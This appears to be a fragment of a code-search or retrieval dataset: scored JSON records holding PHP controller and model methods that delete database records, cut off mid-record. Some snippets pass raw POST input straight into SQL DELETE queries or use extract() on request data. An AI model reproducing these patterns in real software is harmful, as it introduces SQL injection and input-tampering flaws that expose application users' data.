"a895c62cc262528c02d453fa066e7501", "score": "0.56642205", "text": "public function delete(){\r\n $where = $this->input->post('key');\r\n parent::delete();\r\n }", "title": "" }, { "docid": "117022e7bee69fb4305d947093f763a0", "score": "0.56533945", "text": "public function deleting($configurationRatingRestriction)\n {\n parent::deleting($configurationRatingRestriction);\n\n Log::Debug(\"Deleting rating restriction configuration entry\", ['placeholder_configuration' => $configurationRatingRestriction->id]);\n }", "title": "" }, { "docid": "00b4a4473c0a690faec62b1b9642550b", "score": "0.56445694", "text": "public function deleteAction() {\n\n //ONLY LOGGED IN USER CAN DELETE REVIEW\n if (!$this->_helper->requireUser()->isValid())\n return;\n\n //SUBJECT SHOULD BE SET\n if (!$this->_helper->requireSubject('sitemember_review')->isValid())\n return;\n\n //GET VIEWER ID\n $viewer = Engine_Api::_()->user()->getViewer();\n $this->view->review = $review = Engine_Api::_()->core()->getSubject();\n $this->view->viewer_id = $viewer_id = $viewer->getIdentity();\n\n //GET REVIEW ID AND REVIEW OBJECT\n $review_id = $this->_getParam('review_id');\n\n //AUTHORIZATION CHECK\n $can_delete = Engine_Api::_()->authorization()->getPermission($viewer->level_id, 'user', \"review_delete_member\");\n\n //WHO CAN DELETE THE REVIEW\n if (empty($can_delete) || ($can_delete == 1 && $viewer_id != $review->owner_id)) {\n return $this->_forwardCustom('requireauth', 'error', 'core');\n }\n\n if ($this->getRequest()->isPost()) {\n $db = Engine_Db_Table::getDefaultAdapter();\n $db->beginTransaction();\n try {\n //DELETE REVIEW FROM DATABASE\n Engine_Api::_()->getItem('sitemember_review', (int) $review_id)->delete();\n $db->commit();\n } catch (Exception $e) {\n $db->rollBack();\n throw $e;\n }\n \n return $this->_forwardCustom('success', 'utility', 'core', array(\n 'parentRefresh' => true,\n 'messages' => array(Zend_Registry::get('Zend_Translate')->_('Your review has been deleted successfully.'))\n ));\n } else {\n $this->renderScript('review/delete.tpl');\n }\n }", "title": "" }, { "docid": "eb161eb1e5cc4191b58942b7b51fd5ed", "score": "0.5642052", "text": "function deleteEntry() \n {\n // first remove any associated fields with this DAObj\n $daFieldList = new DAFieldList( $this->getID() );\n $daFieldList->setFirst();\n while( $field = $daFieldList->getNext() ) {\n $field->deleteEntry();\n }\n \n // now call parent method\n parent::deleteEntry();\n \n }", "title": "" }, { "docid": "548d90a98da064f63b9d8275d40a48c0", "score": "0.5638948", "text": "public function delete()\n {\n $this->getGrf()->delete($this->getFilename());\n }", "title": "" }, { "docid": "92e2e06cb81425922a5395247b141318", "score": "0.5636801", "text": "function deleteMenuEntry()\n\t{\n\t\tif (empty($_GET[\"menu_entry\"]))\n\t\t{\n\t\t\t$this->ilias->raiseError($this->lng->txt(\"no_menu_entry_id\"),$this->ilias->error_obj->MESSAGE);\n\t\t}\n\n\t\t$this->__initLMMenuEditor();\n\t\t$this->lmme_obj->delete($_GET[\"menu_entry\"]);\n\n\t\tilUtil::sendSuccess($this->lng->txt(\"msg_entry_removed\"), true);\n\t\t$this->ctrl->redirect($this, \"editMenuProperties\");\n\t}", "title": "" }, { "docid": "7dc23ece5474fe4d6c55108a8f766114", "score": "0.562137", "text": "public function actionDelete()\n {\n extract(Yii::$app->request->post());\n $this->findModel($list, $item)->delete();\n }", "title": "" }, { "docid": "df9a9541c1489b1d354a34557e706cc3", "score": "0.56076646", "text": "function delete(){\n\t\t$this->updateData($this->getTblWard(), array('wards_deleted' => \"1\"), 'wards_id', $this->getId());\n\t}", "title": "" }, { "docid": "d10126c53bb27272531da4e4e1fc44e7", "score": "0.56015337", "text": "public function executeDeleteReview(sfWebRequest $request)\n {\n\t\tif($request->hasParameter('id'))\n\t\t{\n\t\t\tif($request->getParameter('id') != '')\n\t\t\t{\n\t\t\t\t$this->forward404Unless($ReviewRating = Doctrine::getTable('ReviewRating')->find(array($request->getParameter('id'))), sprintf('Object Review rating does not exist (%s).', $request->getParameter('id')));\n\t\t\t\t$ReviewRating->delete();\n\t\t\t\t$this->getUser()->setFlash('errMsg', \"Deletion successful.\");\n\t\t\t\t\n \t\t\t\t// Start update review rating average and number of reivew \n \t\t\t\t$userId\t\t= $request->getParameter('userId');\n \t\t\t\t$customerId\t= $request->getParameter('customerId');\n\t\t\t\t$userTableData = ReviewRatingTable::getNoOfRatingAndAvgRating($userId, $customerId);\n\n\t\t\t\t$ratingAvg = 0;\n\t\t\t\t$noOfRating = 0;\n\n\t\t\t\tif(count($userTableData) >= 1)\n\t\t\t\t{\n\t\t\t\t\t$noOfRating = $userTableData[0]['noOfRating'];\n\n\t\t\t\t\t// rating explode to check that ceil and floor\n\t\t\t\t\t$cellingFloarAvg = explode('.', $userTableData[0][\"avgRating\"]);\n\n\t\t\t\t\tif(count($cellingFloarAvg) >= 1)\n\t\t\t\t\t{\n\t\t\t\t\t\t$desimalPointValue = \"0.\".$cellingFloarAvg[1];\n\n\t\t\t\t\t\tif( $desimalPointValue > 0.5 )\n\t\t\t\t\t\t$ratingAvg = ceil($userTableData[0][\"avgRating\"]);\n\t\t\t\t\t\telseif( $desimalPointValue < 0.5 )\n\t\t\t\t\t\t$ratingAvg = floor($userTableData[0][\"avgRating\"]);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t$ratingAvg = $userTableData[0][\"avgRating\"];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$objectUser = new Users();\n\t\t\t\t$objectUser->setTotalAndAvgRating($noOfRating, $ratingAvg, $customerId);\n\t\t\t\t// END update review rating average and number of reivew \n\n\t\t\t\t$this->redirect('manageuser/adminReview');\n\t\t\t}\n\t\t}\n\t\t$this->redirect('manageuser/adminReview');\n }", "title": "" }, { "docid": "9922cd2fe88d4692da18068a209a35be", "score": "0.55974483", "text": "public function delete(){\r\r\n\t\t$u = $this->uri->segment(4);\r\r\n\t\t$this->Gebruikers_model->delete($u);\r\r\n\t\tredirect('admin/Gebruikers');\r\r\n\t}", "title": "" }, { "docid": "7364c69408daf6321736c99633b3fe28", "score": "0.5590127", "text": "public function delete() {\n\n if(isset($_POST['id'])) {\n\n $id = $_POST['id'];\n\n $concepto = new Concepto();\n $delete_concepto = $concepto -> deleteOne('conceptos', $id);\n\n $delete_concepto ? $_SESSION['message'] = 'Concepto borrado exitosamente'\n : $_SESSION['error-message'] = 'Error, no se pudo eliminar el concepto';\n }\n\n header(\"Location: \".BASE_URL);\n\n }", "title": "" }, { "docid": "44e7f74bf1199c1d1e20585884b88f8d", "score": "0.5589822", "text": "public function actionDeleteReview()\n {\n $id = craft()->request->getRequiredParam('id');\n craft()->productReview->deleteReview($id);\n\n craft()->userSession->setNotice(Craft::t('Review successfully deleted.'));\n if (craft()->request->isAjaxRequest) {\n $this->returnJson(['success' => true, 'message' => 'Review successfully deleted.']);\n }\n $this->redirect('productreview');\n }", "title": "" }, { "docid": "c1631c451e9c1eed1317476fbbf1d608", "score": "0.55887", "text": "public function deleteAction()\n {\n $id = (int)$this->getRequest()->getParam('id');\n if ($id) {\n try {\n $this->_getCart()->removeItem($id)\n ->save();\n } catch (Exception $e) {\n $this->_getSession()->addError($this->__('Cannot remove the item.'));\n }\n }\n $this->_goBack();\n }", "title": "" }, { "docid": "4d416dd7dd043e92f74350f01a441e04", "score": "0.5587038", "text": "public function delete(){\n $id = $_POST['id'];\n Agenda::destroy($id);\n }", "title": "" }, { "docid": "bf9747ceca96add4eda8d993a532f60b", "score": "0.5563006", "text": "public function deleteFromDb()\n {\n\n // make sure this is a valid new entry\n $sql = \"delete from Preferences where Term = '$this->term' and Email = '$this->email';\";\n Dbc::getReader()->Exec($sql);\n }", "title": "" }, { "docid": "7bb4513beb1748e4b5382f96a2b96357", "score": "0.5561203", "text": "public function delete() {\n\t\t\tforeach (array(\n\t\t\t\t'id'=>'Sharer ID'\n\t\t\t) as $k=>$v) {\n\t\t\t\tif (!isset($_POST[$k]) || $_POST[$k] == '') {\n\t\t\t\t\treturn '<strong>Error: </strong><em>'. $v .'</em> was missing or invalid.';\n\t\t\t\t}\n\t\t\t}\n\t\t\t// Make sure the sharers exists.\n\t\t\t$query = $GLOBALS['sizzle']->database->prepare('SELECT * FROM sharers WHERE id = ? LIMIT 1');\n\t\t\t$query->execute(array($_POST['id']));\t\t\t\n\t\t\tif ($query->fetch() === false) {\n\t\t\t\treturn '<strong>Error: </strong>Some required information was missing or invalid.';\n\t\t\t}\n\t\t\t// Delete the existing analytic.\n\t\t\t$query = $GLOBALS['sizzle']->database->prepare('DELETE FROM sharers WHERE id = ? LIMIT 1');\n\t\t\t$query->execute(array($_POST['id']));\t\t\t\n // Return.\n\t\t\t$_SESSION['redirect'] = '/backend/sharers/view';\n\t\t\treturn 'Sharer deleted successfully.';\n\t\t}", "title": "" }, { "docid": "852a3bd6b82175e28ba7a8b8d5695639", "score": "0.55586076", "text": "public function deleteAction()\n\t{\n\t\t$filterRules = array(\n\t\t\t'ids' => array('HTMLEntities', 'StripTags', 'StringTrim')\n\t\t);\n\t\t\n\t\t$validatorRules = array(\n\t\t\t'ids' => array('NotEmpty', 'Int')\n\t\t);\n\t\t// sukuriamas ivestu duomenu tikrinimo pagal filtrus ir validatorius objektas\n\t\t// objektui siunciama uzklausos parametrai\n\t\t$input = new Zend_Filter_Input($filterRules, $validatorRules);\n\t\t$input->setData($this->getRequest()->getParams());\n\t\t\n\t\t// jeigu visi parametrai islaiko validavimo ir filtru testus ...\n\t\tif ($input->isValid())\n\t\t{\n\t\t\t$query = Doctrine_Query::create()\n\t\t\t\t->delete('Square_Model_Item item')\n\t\t\t\t->whereIn('item.record_id', $input->ids);\n\t\t\t\t\n\t\t\t$result = $query->execute();\n\t\t\t\n\t\t\t$this->_helper->getHelper('FlashMessenger')\n\t\t\t\t->addMessage('Įrašai sėkmingai ištrinti.');\n\t\t\t\t\n\t\t\t$this->_redirect('/admin/catalog/item/success');\n\t\t}\n\t\telse \n\t\t{\n\t\t\tthrow new Zend_Controller_Action_Exception('Neteisingai įvesti duomenys');\n\t\t}\n\t}", "title": "" }, { "docid": "a58cb97cc3ad6bca256376dafd6506a2", "score": "0.55546004", "text": "public function deleteroomdiscountAction() {\n\t\tif ($this->_helper->user->isLoggedIn()) {\n\t\t\t$roomDiscountId = $this->_getParam(\"rdid\");\n\t\t\t$this->roomDiscount->deleteById($roomDiscountId); \n\t\t} else {\n $this->_redirect( \"/user/login?next=\".urlencode($this->_helper->generator->getCurrentURI()) );\n }\n\t}", "title": "" }, { "docid": "0fea6ad033150637a4f511699204c0c4", "score": "0.55500335", "text": "public function post_delete()\n\t{\n\t\tif(isset($_POST['category_id']))\n\t\t{\n\t\t\t$category = Category::find($_POST['category_id']);\n\t\t\t$category->delete();\n\t\t}\n\t}", "title": "" }, { "docid": "8aaafb68432ff7cbaf94073b937e2cfd", "score": "0.5549597", "text": "public function executeDelete(sfWebRequest $request)\n {\n /* @var $entry wspNopasteEntry */\n $entry = $this->getRoute()->getObject();\n\n if ($this->getUser()->isAuthenticated() and ($this->getUser()->getGuardUser()->getId() == $entry->getCreatedBy()))\n {\n $entry->delete();\n $this->getUser()->setFlash(\n sfConfig::get('app_wsp_nopaste_plugin_flash_notice', 'form_notice'),\n sfConfig::get('app_wsp_nopaste_plugin_flash_delete_notice', 'This entry has been deleted.')\n );\n }\n else\n {\n $this->getUser()->setFlash(\n sfConfig::get('app_wsp_nopaste_plugin_flash_forbidden', 'form_error'),\n sfConfig::get('app_wsp_nopaste_plugin_flash_delete_forbidden', 'The requested action is forbidden.')\n );\n }\n\n $this->redirect('wspNopaste/showLatest');\n }", "title": "" }, { "docid": "8a2215eca19cf6d0010d7bf6c6dc7feb", "score": "0.55467206", "text": "public static function delete() {\n if (Session::isAdmin()) {\n ModelCategorieIngredient::delete($_GET['idCategorieIngredient']);\n\n $tab_categorieIngredient = ModelCategorieIngredient::selectAll();\n\n $view = 'deleted';\n $pagetitle = 'Catégorie supprimée';\n\n require_once(File::build_path(array('view', 'view.php')));\n }\n else {\n self::error();\n }\n }", "title": "" }, { "docid": "f5e34ba52bf5439f1a3e0d7ab10f1033", "score": "0.55366844", "text": "public function destroy(Request $re)\n {\n $find = ModelsLike::where([[\"answer_id\",$re->answer_id],[\"user_id\",$re->user_id]])->first();\n $find->delete();\n return response()->json([\"delete succsess\"], 200);\n }", "title": "" }, { "docid": "faa62801f392106a0480327c37cec2b0", "score": "0.5530882", "text": "public function deleteAction() {\n\n //DEFAULT LAYOUT\n $this->_helper->layout->setLayout('admin-simple');\n\n //GET VIDEO ID\n $this->view->video_id = $video_id = $this->_getParam('video_id');\n\n if ($this->getRequest()->isPost()) {\n\n $db = Engine_Db_Table::getDefaultAdapter();\n $db->beginTransaction();\n try {\n\n //GET PAGE VIDEO OBJECT\n $sitepagevideo = Engine_Api::_()->getItem('sitepagevideo_video', $video_id);\n\n //DELETE RATING DATA\n Engine_Api::_()->getDbtable('ratings', 'sitepagevideo')->delete(array('video_id =?' => $video_id));\n\n //FINALLY DELETE VIDEO OBJECT\n $sitepagevideo->delete();\n\n $db->commit();\n } catch (Exception $e) {\n $db->rollBack();\n throw $e;\n }\n $this->_forward('success', 'utility', 'core', array(\n 'smoothboxClose' => 10,\n 'parentRefresh' => 10,\n 'messages' => array(Zend_Registry::get('Zend_Translate')->_(''))\n ));\n }\n $this->renderScript('admin-manage/delete.tpl');\n }", "title": "" }, { "docid": "3fe3ec13d11411cb7de4576e060d05c7", "score": "0.5527713", "text": "public function delete()\n { \n global $wpdb;\n \n if ( ! empty ( $_POST[ 'hid' ] ) ) {\n $hid = $_POST[ 'hid' ];\n $wpdb->query(\" DELETE FROM {$this->table_name} WHERE id = {$hid} \");\n }\n }", "title": "" }, { "docid": "c9e50ee968d4b2e2f370f27d704625a3", "score": "0.55267614", "text": "public function delete() {\r\n\t\t// Delete the row where the ID is the one we have.\r\n\t\tself::$CI->db->where('id', $this->data['id'])->delete($this->table['name'][0]);\r\n\t}", "title": "" }, { "docid": "0bec2d6571d80b69a639260aa7ccc795", "score": "0.5526633", "text": "public function actionDelete() {\n $id = (int) $_POST['id'];\n $this->loadModel($id)->delete();\n echo 1;\n }", "title": "" }, { "docid": "5a50970658ddcbd30d1b918e6c900047", "score": "0.5525021", "text": "public function delete()\n\t{\n\t\tif (!$this->auth($_SESSION['leveluser'], 'career', 'delete')) {\n\t\t\techo $this->pohtml->error();\n\t\t\texit;\n\t\t}\n\n\t\tif (!empty($_POST)) {\n\t\t\t$career = $this->podb->from('career')\n\t\t\t\t\t->where('id_career', $_POST['id'])->fetch();\n\t\t\tif (file_exists('../'.DIR_CON.'/uploads/career_attachment/' . $career['career_attachment'])) {\n\t\t\t\t@unlink('../'.DIR_CON.'/uploads/career_attachment/' . $career['career_attachment']);\n\t\t\t}\n\t\t\t\n\t\t\t$query_career = $this->podb->deleteFrom('career')->where('id_career', $this->postring->valid($_POST['id'], 'sql'));\n\t\t\t$query_career->execute();\n\t\t\t$this->poflash->success($GLOBALS['_']['library_message_2'], 'admin.php?mod=career');\n\t\t}\n\t}", "title": "" }, { "docid": "350f45fb02a33e89922867897e99bac4", "score": "0.5515968", "text": "public function delete()\n {\n $id = $_POST['id'];\n\n EventoNoche::destroy($id);\n }", "title": "" }, { "docid": "4cc845233ad309e12e9ddc173d3d1ffc", "score": "0.55047065", "text": "function delete(){\n \n // delete query\n $query = \"DELETE FROM \" . $this->table_name . \" WHERE idRenter = ?\";\n \n // prepare query\n $stmt = $this->conn->prepare($query);\n \n // sanitize\n $this->idRenter=htmlspecialchars(strip_tags($this->idRenter));\n \n // bind idRenter of record to delete\n $stmt->bindParam(1, $this->idRenter);\n \n // execute query\n if($stmt->execute()){\n return true;\n }\n \n return false;\n \n }", "title": "" }, { "docid": "faf8c70f931d6a34bfa74237188092ec", "score": "0.55036896", "text": "function rating_clear() {\n db_query('DELETE FROM ia_rating');\n db_query('UPDATE ia_user SET rating_cache = NULL');\n}", "title": "" }, { "docid": "f3c9244ae72c2efd54568ca9b186543f", "score": "0.5491136", "text": "public function delete()\n\t{\n\t\t\\App\\Db::getInstance()->createCommand()->delete('vtiger_rss', ['rssid' => $this->getId()])->execute();\n\t}", "title": "" }, { "docid": "0efabcd31b276a26fdd3e048a34fc204", "score": "0.5490297", "text": "public function delete($candidato);", "title": "" }, { "docid": "4594bcd83bf41f570cdaec8af4e9839b", "score": "0.5478988", "text": "public function delete() {\n\t\t$id = $_POST['id'];\n\t\t$page = $_POST['page'];\n\n\t\t$table = ORM::for_table( $page )->find_one( $id );\n\n\t\tif ( ! $table->delete() ) {\n\t\t\techo 'Error Deleting :(';\n\t\t} else {\n\t\t\techo 'Deleted Successfully !';\n\t\t}\n\t}", "title": "" }, { "docid": "02fb6e54913ce509de5cde93a0ad1868", "score": "0.5475493", "text": "public function deleted($configurationRatingRestriction)\n {\n parent::deleted($configurationRatingRestriction);\n\n Log::Info(\"Deleted rating restriction configuration entry\", ['placeholder_configuration' => $configurationRatingRestriction->id]);\n }", "title": "" }, { "docid": "85ea2ad48177a2950df610646dc74365", "score": "0.5474165", "text": "public function deleteAction(Request $request, Review $review)\n {\n $form = $this->createDeleteForm($review);\n $form->handleRequest($request);\n\n if ($form->isSubmitted() && $form->isValid()) {\n $em = $this->getDoctrine()->getManager();\n $em->remove($review);\n $em->flush();\n }\n\n return $this->redirectToRoute('review_index');\n }", "title": "" }, { "docid": "9f0f39e226a1d9d643bc10e93be8d317", "score": "0.54725105", "text": "public function destroy() {\n $user_id = Input::get('user_id');\n Rating::where('user_id', $user_id)->delete();\n User::where('id', $user_id)->delete();\n return 1;\n }", "title": "" }, { "docid": "95e7434f3fc23a530cb8ea6a608411e2", "score": "0.54723716", "text": "final public function delete() {\n global $config;\n # Borrar el elemento de la base de datos\n $this->db->query_select(\"DELETE FROM ejercicios_4\n WHERE id_ejercicio = $this->id\");\n # Redireccionar a la página principal del controlador\n $this->functions->redir($config['site']['url'] . 'ejercicios/');\n }", "title": "" }, { "docid": "e8cfdc6ebd6667396e6b11ce296e89ac", "score": "0.54682726", "text": "public function delete()\n\t{\n\t\tif (!$this->auth($_SESSION['leveluser'], 'desakelurahan', 'delete')) {\n\t\t\techo $this->pohtml->error();\n\t\t\texit;\n\t\t}\n\t\tif (!empty($_POST)) {\n\t\t\t$query = $this->podb->deleteFrom('desakelurahan')->where('id', $this->postring->valid($_POST['id'], 'sql'));\n\t\t\t$query->execute();\n\t\t\t$this->poflash->success('Desakelurahan has been successfully deleted', 'admin.php?mod=desakelurahan');\n\t\t}\n\t}", "title": "" }, { "docid": "131e44e7016abedcb0b806ecf90449ca", "score": "0.54672", "text": "function deleteObject(&$reviewForm) {\n\t\treturn $this->deleteById($reviewForm->getId());\n\t}", "title": "" }, { "docid": "9947bd322136dd405ebc7628cebc64e7", "score": "0.5461801", "text": "public function deleteRecord()\n {\n if ($this->conf['delete']) { // If deleting is enabled\n $origArr = $this->getTypoScriptFrontendController()->sys_page->getRawRecord($this->theTable, $this->recUid);\n if ($this->getTypoScriptFrontendController()->loginUser || $this->aCAuth($origArr)) {\n // Must be logged in OR be authenticated by the aC code in order to delete\n // If the recUid selects a record.... (no check here)\n if (is_array($origArr)) {\n if ($this->aCAuth($origArr) || $this->DBmayFEUserEdit($this->theTable, $origArr, $this->getTypoScriptFrontendController()->fe_user->user, $this->conf['allowedGroups'], $this->conf['fe_userEditSelf'])) {\n // Display the form, if access granted.\n if (!$GLOBALS['TCA'][$this->theTable]['ctrl']['delete']) {\n // If the record is fully deleted... then remove the image (or any file) attached.\n $this->deleteFilesFromRecord($this->recUid);\n }\n $this->DBgetDelete($this->theTable, $this->recUid, true);\n $this->currentArr = $origArr;\n $this->saved = 1;\n } else {\n $this->error = '###TEMPLATE_NO_PERMISSIONS###';\n }\n }\n }\n }\n }", "title": "" }, { "docid": "7f57a5e7984afea866906b59e47c7dae", "score": "0.5447545", "text": "public function eliminar() {\r\n\t\t$nombre = filter_input(INPUT_POST, \"usuario\");\r\n\t\tUsuarios::delete($nombre);\r\n\t\t$this->listar();\r\n\t}", "title": "" }, { "docid": "a660ef732163c27ab7d9d4c41b6862a3", "score": "0.54473853", "text": "public function delete() {\n $q = new QuestionModel();\n $page_title = \"Delete Questions\";\n if($_SERVER['REQUEST_METHOD'] == \"POST\") {\n if($_POST['sure'] == 'Yes') {\n $q->delete($this->db, $_POST['qid']);\n\n $url = 'http://'.$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']);\n $url .= '/Account/Search/'.$_SESSION['type'].'/'.$_SESSION['level'].'/'.$_SESSION['exam'];\n header(\"Location: $url\");\n exit();\n }\n }\n include('layout/header.php');\n include('view/DeleteQuestionView.php');\n include('layout/footer.html');\n }", "title": "" }, { "docid": "f8e56cbd6c73cc2af67422bb04b9cf59", "score": "0.54430777", "text": "public function delete()\n {\n $I=$this;\n $I->click(HomePage::$delete1);\n $I->click(HomePage::$delete1);\n $I->click(HomePage::$delete1);\n }", "title": "" }, { "docid": "2ee7cf4d9eb64aa7fb511322257d182a", "score": "0.5437071", "text": "public function delete(){\n\t\t$pieId=$_POST['data'];\n\t Pie::destroy($pieId);\n\t return 'deleted';\n\t}", "title": "" }, { "docid": "d829d5ca959a05ca63e0966e59148614", "score": "0.5436094", "text": "function delete(){\n\t\t\t$this->userlib->force_login();\n\t\t\tif($this->input->post('submit') == 'submit' AND $this->input->post('confirm_delete') == 'form_submit') {\n\t\t\t\t$this->userlib->force_permission('classes_delete', array('class_id' => $this->input->post('object_id')));\n\t\t\t\t\n\t\t\t\t$x = $this->classes_model->delete(intval($this->input->post('object_id')));\n\t\t\t\t\n\t\t\t\tif($races = $this->race_model->get_races($this->input->post('object_id'))){\n\t\t\t\t\tforeach($races as $race){\n\t\t\t\t\t\t$this->race_model->clear_race_data($race->id);\n\t\t\t\t\t\t$this->race_model->delete_races($race->id);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif($x===true){\n\t\t\t\t\t$this->session->set_flashdata('message', 'Class Deleted Successfully');\n\t\t\t\t}else{\n\t\t\t\t\t$this->session->set_flashdata('err_message', 'There was a problem deleting the Class from the database');\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\t$this->session->set_flashdata('err_message', 'There was a problem deleting the Class');\n\t\t\t}\n\t\t\tif($this->input->post('referrer')){\n\t\t\t\tredirect(base_url($this->input->post('referrer')));\n\t\t\t}else{\n\t\t\t\tredirect(base_url(''));\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "2c3aa2f8f62a729684ee4d99556b5a4f", "score": "0.5430382", "text": "public function deleteAction() {\r\n\t\t// User checking\r\n\t\tif (!$this -> _helper -> requireUser() -> isValid())\r\n\t\t\treturn;\r\n\t\t$viewer = Engine_Api::_() -> user() -> getViewer();\r\n\r\n\t\t$blog = Engine_Api::_() -> getItem('blog', $this -> getRequest() -> getParam('blog_id'));\r\n\t\tif (!$this -> _helper -> requireAuth() -> setAuthParams($blog, null, 'delete') -> isValid())\r\n\t\t\treturn;\r\n\r\n\t\t// In smoothbox\r\n\t\t$this -> _helper -> layout -> setLayout('default-simple');\r\n\r\n\t\t$this -> view -> form = $form = new Ynblog_Form_Delete();\r\n\r\n\t\tif (!$blog) {\r\n\t\t\t$this -> view -> status = false;\r\n\t\t\t$this -> view -> error = Zend_Registry::get('Zend_Translate') -> _(\"Blog entry doesn't exist or not authorized to delete.\");\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\tif (!$this -> getRequest() -> isPost()) {\r\n\t\t\t$this -> view -> status = false;\r\n\t\t\t$this -> view -> error = Zend_Registry::get('Zend_Translate') -> _('Invalid request method.');\r\n\t\t\treturn;\r\n\t\t}\r\n\r\n\t\t$db = $blog -> getTable() -> getAdapter();\r\n\t\t$db -> beginTransaction();\r\n\r\n\t\ttry {\r\n\t\t\t$blog -> delete();\r\n\r\n\t\t\t$db -> commit();\r\n\t\t} catch ( Exception $e ) {\r\n\t\t\t$db -> rollBack();\r\n\t\t\tthrow $e;\r\n\t\t}\r\n\r\n\t\t$this -> view -> status = true;\r\n\t\t$this -> view -> message = Zend_Registry::get('Zend_Translate') -> _('Your blog entry has been deleted.');\r\n\t\treturn $this -> _forward('success', 'utility', 'core', array('parentRedirect' => Zend_Controller_Front::getInstance() -> getRouter() -> assemble(array('action' => 'manage'), 'blog_general', true), 'messages' => Array($this -> view -> message)));\r\n\t}", "title": "" }, { "docid": "545fe00a79a506124c96e546178687dc", "score": "0.54295164", "text": "public function edit(Rating $rating)\n {\n //\n }", "title": "" }, { "docid": "545fe00a79a506124c96e546178687dc", "score": "0.54295164", "text": "public function edit(Rating $rating)\n {\n //\n }", "title": "" }, { "docid": "545fe00a79a506124c96e546178687dc", "score": "0.54295164", "text": "public function edit(Rating $rating)\n {\n //\n }", "title": "" }, { "docid": "c4982b6004b6176e29625312dff93811", "score": "0.54194504", "text": "public function delete(){\n\t\t// disable layout and view\n\t\t$this->autoRender = false;\n\n\t\t// load existing cart to add/edit products\n\t\t$curCart = $this->Session->read('User.Cart');\n\n\t\t// remove selected item\n\t\tunset($curCart[$this->request->data('itemNumber')]);\n\n\t\t// store updated cart values\n\t\t$this->Session->write('User.Cart', $curCart);\n\t}", "title": "" }, { "docid": "7ee08e8fdfd6cd28f2dbd6069c564530", "score": "0.5418415", "text": "public function delete()\n {\n if (!empty($_POST) || isset($_POST)) {\n $this->Comment->delete((filter_input(INPUT_POST, 'id', FILTER_SANITIZE_NUMBER_INT)));\n {\n return $this->index();\n }\n }\n }", "title": "" }, { "docid": "50e0460d52624285cdab99bcffe1a5b8", "score": "0.54182863", "text": "public function deletion();", "title": "" }, { "docid": "dec8008a7ff4971074f78c213ebaaa3e", "score": "0.5411311", "text": "public function deleting()\n {\n //\n }", "title": "" }, { "docid": "67a65f229874b24f8e8e0532190c6b40", "score": "0.54070055", "text": "public function discountDeleteAction()\n {\n $this->checkAdmin();\n $this->model->removeDiscount($this->route['id']);\n $vars = $this->loadDiscountVars();\n $vars['massage'] = \" <script>$(document).ready(function() {\n alert('discount has been removed')\n });</script>\";\n\n $this->view->render('discount', $vars);\n }", "title": "" }, { "docid": "ab32abb9d284caeb92f24fa3d840c5e8", "score": "0.54052997", "text": "function del_art()\n {\n $idArt = sanitize_int($_POST['hiddenID']);\n \n $artist = new Artist();\n $artist->del_artist($idArt);\n }", "title": "" }, { "docid": "c923dc0bf9e01c92679ef0b850037d2b", "score": "0.5402846", "text": "public function deleteAction() {\n $request =$this->getRequest();\n $data = $request->getPost();\n $this->getAssetInfoTable()->deleteAsset($data['AssetId']);\n }", "title": "" }, { "docid": "5ec14f81e3e124b1b3d188d58a50d122", "score": "0.54024684", "text": "public function delete()\n {\n // Look for link rel=\"edit\" in the entry object.\n $deleteUri = $this->link('edit');\n if (!$deleteUri) {\n /**\n * @see Zend_Feed_Exception\n */\n require_once 'Zend/Feed/Exception.php';\n throw new Zend_Feed_Exception('Cannot delete entry; no link rel=\"edit\" is present.');\n }\n\n // DELETE\n $client = Zend_Feed::getHttpClient();\n do {\n $client->setUri($deleteUri);\n if (Zend_Feed::getHttpMethodOverride()) {\n $client->setHeader('X-HTTP-Method-Override', 'DELETE');\n $response = $client->request('POST');\n } else {\n $response = $client->request('DELETE');\n }\n $httpStatus = $response->getStatus();\n switch ((int) $httpStatus / 100) {\n // Success\n case 2:\n return true;\n // Redirect\n case 3:\n $deleteUri = $response->getHeader('Location');\n break;\n // Error\n default:\n /**\n * @see Zend_Feed_Exception\n */\n require_once 'Zend/Feed/Exception.php';\n throw new Zend_Feed_Exception(\"Expected response code 2xx, got $httpStatus\");\n }\n } while (true);\n }", "title": "" }, { "docid": "70138ab0ebd53014602f6816a78051d3", "score": "0.5398568", "text": "public function action_delete() {\n if (!$this->template->user) {\n Request::instance()->redirect('user/login');\n }\n\n $id = $this->request->param('id');\n $quote = new Model_Quote($id);\n\n $this->template->content = $view = new View('quotes/delete');\n $view->error = 0;\n\n if (!$quote->loaded()) {\n $view->error = 1;\n return ;\n }\n\n $quote->delete($id);\n\n $this->template->title = 'Deleted quote ' . $quote->id;\n }", "title": "" } ]
2c7dc07865cd405781e8d8b643fdb859
this is if we know the item_id in the order_item table
[ { "docid": "dda1cec04509b9ff29c0688ac6465711", "score": "0.58084136", "text": "public function update_orderitem($id,$qty,$user,$order_id)\n {\n $params = array($id,$qty,$user,$order_id);\n $sql = 'SELECT prize.update_orderitem(?,?,?,?)';//\n $query=$this->db->query($sql,$params);\n $result = $query->first_row();\n return $result->update_orderitem;//not actually needed, but ok\n \n }", "title": "" } ]
[ { "docid": "42f050f93975275903db57c012f8e4e1", "score": "0.6814946", "text": "public function get_item( $order_id, $item_id ) {\n global $wpdb;\n\n $order_id = absint( $order_id );\n $item_id = absint( $item_id );\n\n if ( empty( $order_id ) || empty( $item_id ) ) {\n return false;\n }\n\n return $wpdb->get_row( $wpdb->prepare( \"SELECT * FROM {$this->items_table} WHERE order_id = %d AND item_id = %d LIMIT 1;\", $order_id, $item_id ) );\n }", "title": "" }, { "docid": "e31e1e4e75051fa55cea48228c2ac22a", "score": "0.6307796", "text": "function getId_item()\n {\n if (!isset($this->iid_item) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->iid_item;\n }", "title": "" }, { "docid": "e31e1e4e75051fa55cea48228c2ac22a", "score": "0.6307796", "text": "function getId_item()\n {\n if (!isset($this->iid_item) && !$this->bLoaded) {\n $this->DBCarregar();\n }\n return $this->iid_item;\n }", "title": "" }, { "docid": "86adfc84a69e89cbd65a883c39abf46e", "score": "0.629849", "text": "public function getBCOrderProductID($item) {\n\t\t$order_products = $this->getOrderProducts();\n\t\t$id = 0;\n\n\t\tforeach($order_products as $order_product) {\n\t\t\tif($item['product_id'] == $order_product->sku) {\n\t\t\t\t$id = 